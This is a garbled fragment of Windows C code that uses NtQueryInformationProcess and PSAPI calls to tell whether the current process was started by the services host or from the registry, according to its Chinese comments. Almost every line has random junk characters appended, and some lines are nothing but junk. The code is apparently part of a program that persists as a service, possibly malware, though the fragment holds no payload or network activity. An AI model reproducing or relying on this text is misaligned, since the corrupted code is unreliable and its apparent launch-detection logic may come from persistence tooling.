DWORD BasePriority; %mU$]^Tw(
ULONG UniqueProcessId; YQFz6#Ew
ULONG InheritedFromUniqueProcessId; u9~Ncz
} PROCESS_BASIC_INFORMATION; WN%,
2)\MxvfOh
PROCNTQSIP NtQueryInformationProcess; ;r~1TUKb
R@NFpiw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ht L1aQ.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IAMa
xoj,> [7 D
HANDLE hProcess; (jhi<eV
PROCESS_BASIC_INFORMATION pbi; RrCG(Bh
SFtcO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LEtGrA/%@b
if(NULL == hInst ) return 0; &=M4Z/Ao
m-tn|m!J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H Q[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Opg_-Bf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ||TZ[l
.=<s@Sg,t
if (!NtQueryInformationProcess) return 0; $|&<cenMT
2ib,33 Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a'Odw2Q_
if(!hProcess) return 0; M=95E$6
*,:2O&P
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mS;WNlm\
'q~<ZO
CloseHandle(hProcess); o@dTiQK_
P2`F"
Qsq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #6YpV)
if(hProcess==NULL) return 0; )F&.0 '
: *[mvF
HMODULE hMod; ;r6YIS4@
char procName[255]; yX{7<\x
unsigned long cbNeeded; TJW8 l[M
LE5N2k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =?+w5oI0
]}l.*v\uK
CloseHandle(hProcess); o$% KbfXO]
F !OD*]
if(strstr(procName,"services")) return 1; // 以服务启动 NX(+%EBcA
rwW"B
return 0; // 注册表启动 R=,
pv'
} Lk$Mfm5"M
\8\TTkVSq
// 主模块 NYg&